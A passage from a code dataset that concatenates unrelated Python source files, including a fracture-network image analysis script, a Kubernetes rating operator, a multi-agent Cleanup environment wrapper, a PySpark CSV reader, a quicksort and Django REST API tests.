== 'f': # full, or field = do not crop\n crop_im = 0 # in this case, do not crop \n out_path = \"p_\"+png_file.replace('.png', '_nx')\n\n if crop_im: # crop the image if flag is true\n # Cropped image of above dimension\n im = im.crop((left, top, right, bottom))\n \n # Apply median filter to smooth the edges\n im = im.filter(ImageFilter.ModeFilter(size=7)) # https://stackoverflow.com/questions/62078016/smooth-the-edges-of-binary-images-face-using-python-and-open-cv \n # out_path = png_file.replace('.png', '_median.png')\n # im.save(out_path)\n # im.show() DO NOT DO im.show() ON BOLT/OFFICE COMPUTER OR IT WILL OPEN FIREFOX AND CRASH EVERYTHING\n\n\n px = find_color(im, rgb).T\n\n print(f'Fracture RGB: {rgb}')\n print(f'Fracture pixels: {px.sum()}')\n\n input_tstep = get_timestep()\n if px.sum() == 0: \n \"\"\" if no fractures, skip analysis and return a dictionary full of zeros \"\"\"\n print(\"0 pixels, skipping\")\n branch_info = {\"time\":timestep_number*input_tstep,\"n_I\":0,\"n_2\":0,\"n_3\":0,\"n_4\":0,\"n_5\":0,\n \"branches_tot_length\":0} # dictionary with all zeros: there are no fractures in this area\n return branch_info, np.zeros(36), \"path\" # sequences of zeros of the same length as the output of calculate_rose(). Placeholder for path\n g = extract_network(px,im)\n print(f'Extracted fracture network:')\n print(f' - {len(g.nodes())} nodes')\n print(f' - {len(g.edges())} edges')\n \n if len(g.edges()) == 0:\n \"\"\" if after extracting the network there are zero branches, skip analysis and return a dictionary full of zeros \"\"\"\n print(\"0 edges, skipping\")\n branch_info = {\"time\":timestep_number*input_tstep,\"n_I\":0,\"n_2\":0,\"n_3\":0,\"n_4\":0,\"n_5\":0,\n \"branches_tot_length\":0} # dictionary with all zeros: there are no fractures in this area\n return branch_info, np.zeros(36), \"path\"\n\n # do some statistics\n branch_info = topo_analysis(g,timestep_number)\n g = orientation_calc(g) \n # print(g.edges(data=True))\n\n # viz grid with networkx's plot\n ax = draw_nx_graph(im, g)\n plt.savefig(out_path+\".grid.png\",dpi=200)\n plt.clf()\n # plt.show()\n\n ax1 = draw_rose_diagram(g,False) # proportional to branch length?\n plt.savefig(\"rose_\"+out_path,dpi=200)\n plt.clf()\n\n ax2 = draw_rose_diagram(g,True) # proportional to branch length?\n plt.savefig(\"rose_weight_\"+out_path,dpi=200)\n plt.clf()\n\n rose_histogram = calculate_rose(g)\n\n return branch_info, rose_histogram, out_path\n\ndef file_loop(parent_dir: str,part_to_analyse: str) -> None:\n \"\"\" given the parent directory, cd there and go through all png files\"\"\"\n # os.chdir(\"/Users/giuliafedrizzi/Library/CloudStorage/OneDrive-UniversityofLeeds/PhD/arc/myExperiments/wavedec2022/wd05_visc/visc_4_5e4/vis5e4_mR_09\")\n os.chdir(parent_dir)\n print(os.getcwd())\n print(f'n of files: {len(glob.glob(\"py_bb_*.png\"))}')\n # print(f'n of files: {len(glob.glob(\"u_1_map_1_all_colours_fiji_bk*.png\"))}')\n\n branch_info = [] # create an empty list. One row = one dictionary for each simulation\n rose_hist_list = [] # empty list to temporarily save all the values to build the rose diagram. Will be normalised by the maximum length.\n out_paths = []\n\n for f,filename in enumerate(sorted(glob.glob(\"py_bb_*.png\"))):\n # for f,filename in enumerate(sorted(glob.glob(\"u_1_map_1_all_colours_fiji_bk*.png\"))):\n \"\"\" Get the file name, run 'analyse_png', get the info on the branches,\n save it into a csv \"\"\"\n branch_dict, rose_hist, out_path = analyse_png(filename,part_to_analyse)\n branch_info.append(branch_dict) # build the list of dictionaries\n rose_hist_list.append(rose_hist)\n out_paths.append(out_path)\n\n print(rose_hist_list)\n print(f'max rose_hist_list {np.max(rose_hist_list)}')\n for i,r in enumerate(rose_hist_list): # go through the multiple rows\n # print(f'r : {r}')\n print(f'r/max rose_hist_list: {r/np.max(rose_hist_list)}')\n if any(element != 0 for element in r): # if at last one element is not zero\n ax = draw_rose_plot(r/np.max(rose_hist_list))\n plt.savefig(\"rose_norm_\"+out_paths[i],dpi=200)\n\n\n keys = branch_info[0].keys() # read the command line arguments\n\n if part_to_analyse == 'w' or part_to_analyse == 'f': # whole domain\n csv_file_name = \"py_branch_info.csv\" \n elif part_to_analyse == 'b':\n csv_file_name = \"py_branch_info_bot.csv\" \n elif part_to_analyse == 't':\n csv_file_name = \"py_branch_info_top.csv\" \n\n # write to csv file\n with open(csv_file_name, 'w', newline='') as output_file:\n dict_writer = csv.DictWriter(output_file, keys)\n dict_writer.writeheader()\n dict_writer.writerows(branch_info)\n\n# starting here: \nd = os.getcwd() # save path to current directory (will be given as input to file_loop() function)\nif (len(sys.argv) == 1):\n part_to_analyse = 'f' # if no command line argument is provided, set the option to \"f\". It means it won't crop the image.\nelse:\n part_to_analyse = sys.argv[1]\nassert (part_to_analyse == 'w' or part_to_analyse == 't' or part_to_analyse == 'b' or part_to_analyse == 'f'), \"Error: specify w for whole domain, b for bottom (melt zone), t for top (through zone), f for full (or field) for field images\"\n\n\nfile_loop(d,part_to_analyse)\n","repo_name":"GiuliaFedrizzi/a-bunch-of-scripts","sub_path":"post_processing/image_analysis/extract_topology.py","file_name":"extract_topology.py","file_ext":"py","file_size_in_byte":29489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"24024063153","text":"# Pandagen\n\nimport jinja2\n\nfrom .. import pandagen\n\n\nclass Jinja2(pandagen.Plugin):\n \"\"\"\n Process a resource through its declared Jinja2 layout template. By default,\n outputs overwrites the 'contents' field.\n \"\"\"\n\n def __init__(self, templates, default='layout', into='contents',\n cache='.cache'):\n self.env = jinja2.Environment(\n loader=jinja2.FileSystemLoader(templates),\n bytecode_cache=jinja2.FileSystemBytecodeCache(cache),\n extensions=['jinja2.ext.with_'])\n self.default = default\n self.into = into\n\n def _execute(self, pg):\n for v in pg.data.values():\n # Load and render the template.\n template_file = '{}.tmpl'.format(v.get('layout', self.default))\n template = self.env.get_template(template_file)\n\n context = dict(pg.metadata)\n context.update(v)\n v[self.into] = template.render(context)\n","repo_name":"mpetazzoni/pandagen","sub_path":"pandagen/plugins/templates.py","file_name":"templates.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"19447238100","text":"from detectron2.engine import DefaultPredictor\nfrom detectron2.config import get_cfg\nfrom detectron2.data import Metadata\n\n\ndef bbox_ph_init():\n detectron2_repo = 'D:/detectron2/detectron_repo'\n sample_metadata = Metadata()\n thing_classes = ['bad', 'fall', 'good', 'smallbad']\n thing_dataset_id_to_contiguous_id = {0: 0, 1: 1, 2: 2, 3: 3}\n sample_metadata.set(thing_classes=thing_classes,\n thing_dataset_id_to_contiguous_id=thing_dataset_id_to_contiguous_id)\n\n cfg = get_cfg()\n cfg.merge_from_file(detectron2_repo + \"configs/COCO-Detection/faster_rcnn_R_50_FPN_3x.yaml\")\n cfg.MODEL.ROI_HEADS.NUM_CLASSES = 4\n cfg.MODEL.ROI_HEADS.SCORE_THRESH_TEST = 0.5 # set threshold for this model\n\n # cfg.MODEL.DEVICE = 'cpu'\n cfg.MODEL.WEIGHTS = \"./weights/bboxes_photo_weights.pth\"\n\n predictor = DefaultPredictor(cfg)\n return [predictor, sample_metadata]\n","repo_name":"DenLob/SOK_neuron","sub_path":"neuron_init/bbox_ph_init.py","file_name":"bbox_ph_init.py","file_ext":"py","file_size_in_byte":907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74765747360","text":"import csv\n\nin_f = \"rw.txt\"\nop_f = \"rw.csv\"\n\nwith open(op_f, 'w') as csv_f:\n writer = csv.writer(csv_f)\n with open(in_f) as txt_f:\n content = txt_f.readlines()\n i = 0\n while(i < len(content)):\n line_list_meta = content[i + 2].split()\n line_list_time = content[i + 5].split()\n size = line_list_meta[1].replace(\",\", \"\")\n nnz = line_list_meta[5].replace(\",\", \"\")\n time = line_list_time[5].replace(\",\", \"\")\n data_list = [size, nnz, time]\n print(data_list)\n writer.writerow(data_list)\n\n i += 6 \n\n\n \n \n \n\n\n\n \n # writer = csv.writer(f)","repo_name":"EricYJA/SpGEMM-Analysis","sub_path":"eval_result/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":697,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"40390553083","text":"\"\"\"\nWrapper around Sequential Social Dilemma environment.\nCode adapted from https://github.com/011235813/lio/blob/master/lio/env/ssd.py\n\"\"\"\nimport numpy as np\nfrom lio.env import maps\nfrom social_dilemmas.envs.cleanup import CleanupEnv\n\nfrom env.multiagentenv import MultiAgentEnv\nfrom utils.configdict import ConfigDict\nimport env.cleanup_maps as customized_maps\n\nclass Cleanup(MultiAgentEnv):\n\n def __init__(self, args):\n\n self.name = 'ssd'\n self.args = args\n self.dim_obs = [3, self.args.obs_height,\n self.args.obs_width]\n self.episode_limit = self.args.episode_limit\n self.cleaning_penalty = self.args.cleaning_penalty\n # Original space (not necessarily in this order, see\n # the original ssd files):\n # no-op, up, down, left, right, turn-ccw, turn-cw, penalty, clean\n if (self.args.disable_left_right_action and\n self.args.disable_rotation_action):\n self.l_action = 4\n self.cleaning_action_idx = 3\n # up, down, no-op, clean\n self.map_to_orig = {0: 2, 1: 3, 2: 4, 3: 8}\n elif self.args.disable_left_right_action:\n self.l_action = 6\n self.cleaning_action_idx = 5\n # up, down, no-op, rotate cw, rotate ccw, clean\n self.map_to_orig = {0: 2, 1: 3, 2: 4, 3: 5, 4: 6, 5: 8}\n elif self.args.disable_rotation_action:\n self.l_action = 6\n self.cleaning_action_idx = 5\n # left, right, up, down, no-op, clean\n self.map_to_orig = {0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 8}\n else: # full action space except penalty beam\n self.l_action = 8\n self.cleaning_action_idx = 7\n # Don't allow penalty beam\n self.map_to_orig = {0: 0, 1: 1, 2: 2, 3: 3, 4: 4, 5: 5, 6: 6, 7: 8}\n\n self.obs_cleaned_1hot = self.args.obs_cleaned_1hot\n\n self.n_agents = self.args.n_agents\n\n if self.args.map_source == 'lio':\n if self.args.map_name == 'cleanup_small_sym':\n ascii_map = maps.CLEANUP_SMALL_SYM\n elif self.args.map_name == 'cleanup_10x10_sym':\n ascii_map = maps.CLEANUP_10x10_SYM\n elif self.args.map_source == \"customized\":\n if self.args.map_name == 'cleanup_small_sym':\n ascii_map = customized_maps.CLEANUP_SMALL_SYM\n elif self.args.map_name == 'cleanup_10x10_sym':\n ascii_map = customized_maps.CLEANUP_10x10_SYM\n elif self.args.map_name == 'cleanup_small_sym_test':\n ascii_map = customized_maps.CLEANUP_SMALL_SYM_TEST\n\n cleanup_params = ConfigDict()\n cleanup_params.appleRespawnProbability = args.appleRespawnProbability\n cleanup_params.thresholdDepletion = args.thresholdDepletion\n cleanup_params.thresholdRestoration = args.thresholdRestoration\n cleanup_params.wasteSpawnProbability = args.wasteSpawnProbability\n\n self.env = CleanupEnv(ascii_map=ascii_map,\n num_agents=self.n_agents, render=False,\n shuffle_spawn=self.args.shuffle_spawn,\n global_ref_point=self.args.global_ref_point,\n view_size=self.args.view_size,\n random_orientation=self.args.random_orientation,\n cleanup_params=cleanup_params,\n beam_width=self.args.beam_width)\n\n # length of action input to learned reward function\n if self.args.obs_cleaned_1hot:\n self.l_action_for_r = 2\n else:\n self.l_action_for_r = self.l_action\n\n self.obs = None\n self.steps = 0\n\n def process_obs(self, obs_dict): # adjusted the dims for convnet\n # print(type(obs_dict))\n processed_obs = [obs / 256.0 for obs in list(obs_dict.values())]\n processed_obs = np.moveaxis(np.array(processed_obs), -1, 1)\n return processed_obs\n\n def reset(self):\n \"\"\"Resets the environemnt.\n\n Returns:\n List of agent observations\n \"\"\"\n self.obs = self.process_obs(self.env.reset())\n self.steps = 0\n\n def step(self, actions):\n \"\"\"Takes a step in env.\n\n Args:\n actions: list of integers\n\n Returns:\n List of observations, list of rewards, done, info\n \"\"\"\n actions = [self.map_to_orig[a] for a in actions]\n actions_dict = {'agent-%d' % idx: actions[idx]\n for idx in range(self.n_agents)}\n\n # all objects returned by env.step are dicts\n obs_next, rewards, dones, info = self.env.step(actions_dict)\n self.steps += 1\n\n self.obs = self.process_obs(obs_next)\n rewards = list(rewards.values())\n if self.cleaning_penalty > 0:\n for idx in range(self.n_agents):\n if actions[idx] == 8:\n rewards[idx] -= self.cleaning_penalty\n\n # done = dones['__all__'] # apparently they hardcode done to False\n done = dones['__all__'] or self.steps == self.episode_limit\n\n return rewards, done, info\n\n def render(self):\n self.env.render()\n\n def get_obs(self):\n return self.obs\n\n def get_obs_size(self):\n return self.dim_obs\n\n def get_state(self):\n raise NotImplementedError\n\n def get_state_size(self):\n raise NotImplementedError\n\n def get_avail_actions(self): # unfiltered\n return [[_ for _ in range(self.l_action)] for _ in range(self.n_agents)]\n\n def get_total_actions(self):\n return self.l_action\n\n def is_masked(self):\n return False\n\n def close(self):\n pass\n\n def get_env_info(self):\n env_info = {\"obs_shape\": self.get_obs_size(),\n \"reward_shape\": self.n_agents,\n \"n_actions\": self.get_total_actions(),\n \"adjacent_agents_shape\": self.n_agents,\n \"n_agents\": self.n_agents,\n \"episode_limit\": self.episode_limit}\n return env_info\n","repo_name":"fangqyi/reward-sharing-nash-q","sub_path":"src/env/cleanup.py","file_name":"cleanup.py","file_ext":"py","file_size_in_byte":6133,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27819521404","text":"#-*-coding:utf-8-*-\nimport re\n\nclass Song:\n def __init__(self,fileName):\n self.fileName = fileName\n fileNameSplited = fileName.split(\"_\")\n\n self.artist = fileNameSplited[0]\n self.album = fileNameSplited[1]\n self.name = re.sub(r\"\\.((mp3)|(ogc))\\n?\",\"\",fileNameSplited[2])\n\n del(fileNameSplited)\n\n def toDict(self):\n return {\"fileName\":self.fileName,\"name\":self.name,\"album\":self.album,\"artist\":self.artist}\n","repo_name":"moisesgomez00/MALMediaPlayer","sub_path":"Model/Song.py","file_name":"Song.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26979972469","text":"from matplotlib.patches import Polygon\nfrom sertl_analytics.pybase.loop_list import LoopList\n\n\nclass PatternPlotContainer:\n border_line_top_color = 'green'\n border_line_bottom_color = 'red'\n regression_line_color = 'blue'\n center_color = 'blue'\n \"\"\"\n Contains all plotting objects for one pattern\n \"\"\"\n def __init__(self, polygon: Polygon, pattern_color: str):\n self.index_list = []\n self.shape_dic = {}\n self.patches_dic = {}\n self.color_dic = {}\n self.index_list.append('pattern')\n self.shape_dic['pattern'] = polygon\n self.color_dic['pattern'] = pattern_color\n self.annotation_param = None\n self.annotation = None\n\n def add_buy_shape(self, buy_shape, buy_color: str):\n self.index_list.append('buy')\n self.shape_dic['buy'] = buy_shape\n self.color_dic['buy'] = buy_color\n\n def add_trade_shape(self, trade_shape, trade_color: str):\n self.index_list.append('trade')\n self.shape_dic['trade'] = trade_shape\n self.color_dic['trade'] = trade_color\n\n def add_retracement_shape(self, retracement_shape, retracement_color: str):\n self.index_list.append('retracement')\n self.shape_dic['retracement'] = retracement_shape\n self.color_dic['retracement'] = retracement_color\n\n def add_border_line_top_shape(self, line_shape):\n self.index_list.append('top')\n self.shape_dic['top'] = line_shape\n self.color_dic['top'] = self.border_line_top_color\n\n def add_border_line_bottom_shape(self, line_shape):\n self.index_list.append('bottom')\n self.shape_dic['bottom'] = line_shape\n self.color_dic['bottom'] = self.border_line_top_color\n\n def add_regression_line_shape(self, line_shape):\n self.index_list.append('regression')\n self.shape_dic['regression'] = line_shape\n self.color_dic['regression'] = self.regression_line_color\n\n def add_center_shape(self, center_shape):\n self.index_list.append('center')\n self.shape_dic['center'] = center_shape\n self.color_dic['center'] = self.center_color\n\n def hide(self):\n self.__set_visible__(False, True)\n\n def show(self, with_annotation: bool):\n self.__set_visible__(True, with_annotation)\n\n def show_annotations(self):\n self.annotation.set_visible(True)\n\n def hide_annotations(self):\n self.annotation.set_visible(False)\n\n def __set_visible__(self, visible: bool, with_annotation: bool):\n self.annotation.set_visible(visible and with_annotation)\n for key in self.patches_dic:\n if key == 'center' and visible and with_annotation:\n self.patches_dic[key].set_visible(False)\n else:\n self.patches_dic[key].set_visible(visible)\n\n def add_annotation(self, axes):\n self.annotation = self.annotation_param.get_annotation(axes)\n\n def add_elements_as_patches(self, axes):\n for key in self.index_list:\n patch = self.shape_dic[key]\n self.patches_dic[key] = patch\n patch.set_alpha(0.2)\n if key in ['top', 'bottom']:\n patch.set_color('None')\n patch.set_edgecolor(self.color_dic[key])\n elif key in ['buy']:\n # patch.set_color(self.color_dic[key])\n patch.set_alpha(0.2)\n else:\n patch.set_color(self.color_dic[key])\n axes.add_patch(patch)\n\n\nclass PatternPlotContainerLoopList(LoopList):\n def show_only_selected_containers(self, event):\n show_list = []\n self.__add_first_first_selected_center_pattern_to_show_list__(event, show_list)\n if len(show_list) == 0:\n self.__add_selected_pattern_to_show_list__(event, show_list)\n if len(show_list) == 0:\n for pattern_plot_container in self.value_list:\n pattern_plot_container.show(False)\n else:\n for pattern_plot_container in self.value_list:\n pattern_plot_container.hide()\n for pattern_plot_container in show_list:\n pattern_plot_container.show(True)\n event.canvas.draw()\n\n def __add_selected_pattern_to_show_list__(self, event, show_list: list):\n for pattern_plot_container in self.value_list:\n for patch in pattern_plot_container.patches_dic.values():\n cont, dic = patch.contains(event)\n if cont:\n show_list.append(pattern_plot_container)\n\n def __add_first_first_selected_center_pattern_to_show_list__(self, event, show_list: list):\n for pattern_plot_container in self.value_list:\n patch = pattern_plot_container.patches_dic['center']\n cont, dic = patch.contains(event)\n if cont:\n show_list.append(pattern_plot_container)\n break","repo_name":"SertlAnalytics/PycharmProjects","sub_path":"Gaming/Stocks/pattern_plotting/pattern_plot_container.py","file_name":"pattern_plot_container.py","file_ext":"py","file_size_in_byte":4885,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"5760362076","text":"#pip install opencv_python\r\n#must install openCV library before run.\r\nimport cv2\r\n\r\nimg = cv2.imread('opencv.png',) #load or read image\r\nimg = cv2.resize(img, (0, 0), fx= 1, fy=1) #resize image \r\nimg = cv2.rotate(img, cv2.cv2.ROTATE_180) #Rotate image as per need\r\ncv2.imshow('Image', img) #Show image on screen\r\ncv2.waitKey(0)\r\ncv2.destroyWindow()\r\n","repo_name":"nasir321/OpenCV_Python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1476563979","text":"from typing import Dict\nimport kopf\nfrom kubernetes import client, config\nfrom base64 import b64decode\nimport os\nfrom kubernetes.client.rest import ApiException\n\nfrom rating.manager import utils\nfrom rating.manager import rating_rules\nfrom rating.manager import rating_instances\n\n\ndef register_admin_key(api: client.CoreV1Api):\n \"\"\"\n Register the admin key from the administrator secret.\n\n :api (client.CoreV1Api) The api client to use to execute the request.\n \"\"\"\n namespace = utils.envvar('RATING_NAMESPACE')\n secret_name = f'{namespace}-admin'\n try:\n secret_encoded_bytes = api.read_namespaced_secret(secret_name, namespace).data\n except ApiException as exc:\n raise exc\n rating_admin_api_key = list(secret_encoded_bytes.keys())[0]\n os.environ[rating_admin_api_key] = b64decode(\n secret_encoded_bytes[rating_admin_api_key]).decode('utf-8')\n\n\n@kopf.on.create('', 'v1', 'namespaces')\n@kopf.on.update('', 'v1', 'namespaces')\ndef callback_namespace_tenant(body: Dict, **kwargs: Dict):\n \"\"\"\n Update a namespace after a create or update event.\n\n :body (Dict) A dictionary representing the kubernetes object affected by the event.\n :kwargs (Dict) A dictionary containing optional parameters (for compatibility).\n \"\"\"\n update_namespace_tenant(body['metadata'])\n\n\ndef update_namespace_tenant(metadata: Dict):\n \"\"\"\n Update the tenant of a namespace through the rating-api.\n\n :metadata (Dict) A dictionary containing the metadata values of the object.\n \"\"\"\n tenant = None\n tenants = []\n\n annotations = metadata.get('annotations')\n if annotations:\n tenant = annotations.get('openshift.io/requester')\n\n labels = metadata.get('labels')\n if labels:\n tenants = (labels.get('tenants', \"\")).split('-')\n if not tenant:\n tenants.append(labels.get('tenant'))\n else:\n tenants = ['']\n\n for tenant in tenants:\n payload = {\n 'tenant_id': tenant or 'default',\n 'namespace': metadata['name']\n }\n utils.post_for_rating_api(endpoint='/namespaces/tenant', payload=payload)\n\n\ndef scan_cluster_namespaces(api: client.CoreV1Api):\n \"\"\"\n Scan the namespaces in the cluster and attribute them tenant_id.\n\n If no annotation or label named 'tenant' exist, tenant will be default.\n\n :api (client.CoreV1Api) The api client to use to execute the request.\n \"\"\"\n try:\n namespace_list = api.list_namespace()\n except ApiException as exc:\n raise exc\n for namespace_obj in namespace_list.items:\n update_namespace_tenant(\n namespace_obj.to_dict()['metadata']\n )\n\n@kopf.on.startup()\ndef callback_startup(**kwargs: Dict):\n \"\"\"\n Execute the startup routine, registering administrator key and namespaces tenants.\n\n :kwargs (Dict) A dictionary containing optional parameters (for compatibility).\n \"\"\"\n metering = os.environ.get('METERING_OPERATOR')\n if metering:\n from rating.manager import reports\n config.load_incluster_config()\n api = client.CoreV1Api()\n register_admin_key(api)\n kwargs['logger'].info('Registered admin token.')\n scan_cluster_namespaces(api)\n kwargs['logger'].info('Registered active namespaces.')\n update_namespace_tenant({'name': 'unspecified'})\n\n\n@kopf.on.login()\ndef callback_login(**kwargs: Dict) -> kopf.ConnectionInfo:\n \"\"\"\n Execute the login routine, authenticating the client if needed.\n\n :kwargs (Dict) A dictionary containing optional parameters (for compatibility).\n \"\"\"\n if utils.envvar_bool('AUTH'):\n return kopf.ConnectionInfo(\n server=os.environ.get('KUBERNETES_PORT').replace('tcp', 'https'),\n ca_path='/var/run/secrets/kubernetes.io/serviceaccount/ca.crt',\n scheme='Bearer',\n token=open(\"/var/run/secrets/kubernetes.io/serviceaccount/token\", \"r\").read()\n )\n # Black magic here, don't ask why the second does not work\n # Or look it out yourself, but be aware that you might encounter elves and dragons along the way...\n return kopf.login_via_client(**kwargs)\n # return kopf.login_via_pykube(**kwargs)\n","repo_name":"Smile-SA/rating-operator-manager","sub_path":"src/rating/manager/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4168,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"54"} +{"seq_id":"2258008849","text":"from pyspark.sql import SparkSession\nfrom pyspark.sql.types import StructType, StructField, StringType, IntegerType, FloatType\n\nspark = SparkSession.builder \\\n .appName(\"ReadParquet\") \\\n .master(\"local\") \\\n .getOrCreate()\n\nbad_records_path = \"/home/gson/GIT/P-SPARK/4-readWriteParquet\"\n\n# Specify options for reading the CSV file\noptions = {\n \"inferSchema\": \"true\", # Corrected option name\n \"mode\": \"dropmalformed\",\n \"header\": \"true\",\n \"escape\": \"\\\"\", # Removed quotes around the escape character\n \"badRecordsPath\": bad_records_path\n}\n\n# Read the CSV file\ndf = spark.read.format(\"csv\") \\\n .options(**options) \\\n .load(\"/home/gson/GIT/P-SPARK/4-readWriteParquet/currency.csv\")\n\n# Show the DataFrame\ndf.show()\n\n# Load the corrupt records\ncorrupt_records = spark.read.text(bad_records_path)\n\n# Show the corrupt records\ncorrupt_records.show()","repo_name":"chaitanya-gaware/P-SPARK","sub_path":"4-readWriteParquet/try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71856228320","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# quicksort \n# 取出基准元素,比它小的元素放 low[],大的放high[], 并拿到基准元素的标志位key_index(arr[key_index]=key)\n# 分别对low[], high[] 进行快速排序\n\ndef sub_sort(array,low,high):\n key = array[low]\n while low < high:\n while low < high and array[high] >= key:\n high -= 1\n while low < high and array[high] < key:\n array[low] = array[high]\n low += 1\n array[high] = array[low]\n array[low] = key\n return low\n\n\ndef quick_sort(array,low,high):\n if low < high:\n key_index = sub_sort(array,low,high)\n quick_sort(array,low,key_index)\n quick_sort(array,key_index+1,high)\n\n\nif __name__ == '__main__':\n array = [8,10,9,6,4,16,5,13,26,18,2,45,34,23,1,7,3]\n print(array)\n quick_sort(array,0,len(array)-1)\n print(array)","repo_name":"jiayiliu2016/sort","sub_path":"quicksort.py","file_name":"quicksort.py","file_ext":"py","file_size_in_byte":898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73405071201","text":"import io\n\nfrom django.contrib.auth import get_user_model\nfrom django.core.files.uploadedfile import SimpleUploadedFile\n\nfrom django.db.models import Count, Case, When\nfrom rest_framework import status\nfrom PIL import Image\n\nfrom rest_framework.test import APITestCase\n\nfrom django.urls import reverse\nfrom course.models import Course, Category, Review\nfrom course.rating_average import set_rating\nfrom course.serializers import CourseSerializer, ReviewSerializer\n\nimport json\n\nfrom lesson.models import Lesson\n\nUser = get_user_model()\n\n\nclass CourseTestApiCase(APITestCase):\n \"\"\"\n crud test for Course\n \"\"\"\n def setUp(self):\n self.category = Category.objects.create(slug='Programming')\n self.lesson1 = Lesson.objects.create(name='lesson1', )\n self.user = User.objects.create(email='testsuperuser@gmail.com', is_staff=True)\n self.user2 = User.objects.create(email='testuser@gmail.com')\n # self.adviser1 = Adviser.objects.create(name='Adviser1',)\n # self.adviser2 = Adviser.objects.create(name='Adviser2',)\n self.course1 = Course.objects.create(name='Python', category=self.category, )\n self.course2 = Course.objects.create(name='JS', category=self.category,)\n course = Course.objects.all().annotate(student_count=Count('courseregister'), likes=Count(Case(When(like__like=True, then=1)))).prefetch_related('lessons')\n\n self.serializer_data = CourseSerializer(course, many=True).data\n # example_photo = Image.new(mode='RGB', size=(30, 60))\n # example_photo.save('testing.jpg')\n # with open('testing.jpg', 'rb') as img:\n # self.photo = SimpleUploadedFile('testing.png',\n # img.read(),\n # content_type='image/png')\n image = io.BytesIO()\n Image.new('RGB', (150, 150)).save(image, 'JPEG')\n image.seek(0)\n self.file = SimpleUploadedFile('image.jpg', image.getvalue())\n\n def test_get(self):\n url = reverse('course-list')\n self.client.force_authenticate(user=self.user2)\n response = self.client.get(url)\n self.assertEqual(status.HTTP_200_OK, response.status_code)\n # self.assertEqual(self.serializer_data, response.data)\n self.assertEqual(len(self.serializer_data), len(response.data))\n\n def test_post(self):\n url = reverse('course-list')\n self.data = {\n 'id': 3,\n 'name': 'Java',\n 'course_image': self.file,\n 'category': self.category.id,\n 'lessons': self.lesson1.id,\n 'rating': 0,\n 'comment': 0,\n # 'adviser': self.adviser1.id\n }\n self.client.force_authenticate(user=self.user)\n response = self.client.post(url, self.data, format='multipart')\n print(response.json())\n self.assertEqual(status.HTTP_201_CREATED, response.status_code)\n # self.assertTrue(f'media/courseimage/image_mryWGaN.jpg' in response.data['course_image'])\n self.assertEqual(3, Course.objects.all().count())\n\n def test_invalid_post(self):\n url = reverse('course-list')\n self.data = {\n 'id': 3,\n 'name': 'Java',\n 'course_image': self.file,\n 'category': self.category.id,\n 'lessons': self.lesson1.id,\n 'rating': 0,\n 'comment': 0,\n # 'adviser': self.adviser1.id\n }\n self.client.force_authenticate(user=self.user2)\n response = self.client.post(url, self.data, format='multipart')\n self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code)\n # self.assertTrue(f'media/courseimage/image_mryWGaN.jpg' in response.data['course_image'])\n self.assertTrue(2 == Course.objects.all().count())\n\n def test_update(self):\n url = reverse('course-detail', args=(self.course1.id,))\n self.data = {\n 'id': 3,\n 'name': 'test name',\n 'course_image': self.file,\n 'category': self.category.id,\n 'lessons': self.lesson1.id,\n 'rating': 0,\n 'comment': 0,\n # 'adviser': self.adviser1.id\n }\n self.client.force_authenticate(user=self.user)\n response = self.client.put(url, self.data, format='multipart')\n self.assertEqual(status.HTTP_200_OK, response.status_code)\n self.course1.refresh_from_db()\n self.assertEqual('test name', self.course1.name)\n\n def test_invalid_update(self):\n url = reverse('course-detail', args=(self.course1.id,))\n self.data = {\n 'id': 3,\n 'name': 'Java',\n 'course_image': self.file,\n 'category': self.category.id,\n 'lessons': self.lesson1.id,\n 'rating': 0,\n 'comment': 0,\n # 'adviser': self.adviser1.id\n }\n self.client.force_authenticate(user=self.user2)\n response = self.client.put(url, self.data, format='multipart')\n self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code)\n ######################\n ########################\n\n def test_delete(self):\n url = reverse('course-detail', args=(self.course1.id,))\n self.client.force_authenticate(user=self.user)\n response = self.client.delete(url, )\n self.assertEqual(status.HTTP_204_NO_CONTENT, response.status_code)\n self.assertEqual(1, Course.objects.all().count())\n\n def test_invalid_delete(self):\n url = reverse('course-detail', args=(self.course1.id,))\n self.client.force_authenticate(user=self.user2)\n response = self.client.delete(url, )\n self.assertEqual(status.HTTP_403_FORBIDDEN, response.status_code)\n self.assertTrue(2 == Course.objects.all().count())\n\n\nclass ReviewTestApiCase(APITestCase):\n \"\"\"\n Crud test for Review\n \"\"\"\n def setUp(self):\n self.category = Category.objects.create(slug='Programming')\n # self.adviser1 = Adviser.objects.create(name='Adviser1', )\n self.course = Course.objects.create(name='Python', category=self.category,)\n self.user = User.objects.create_user(email='test1@gmail.com', password='123345631')\n self.user2 = User.objects.create_user(email='test2@gmail.com', password='4124132')\n self.review1 = Review.objects.create(course=self.course, user=self.user, description='testreview1,', rating=5)\n self.review2 = Review.objects.create(course=self.course, user=self.user2, description='rqwfq,', rating=3)\n self.serializer_data = ReviewSerializer(Review.objects.all(), many=True).data\n # self.adviser2 = Adviser.objects.create(name='Adviser2', )\n\n def 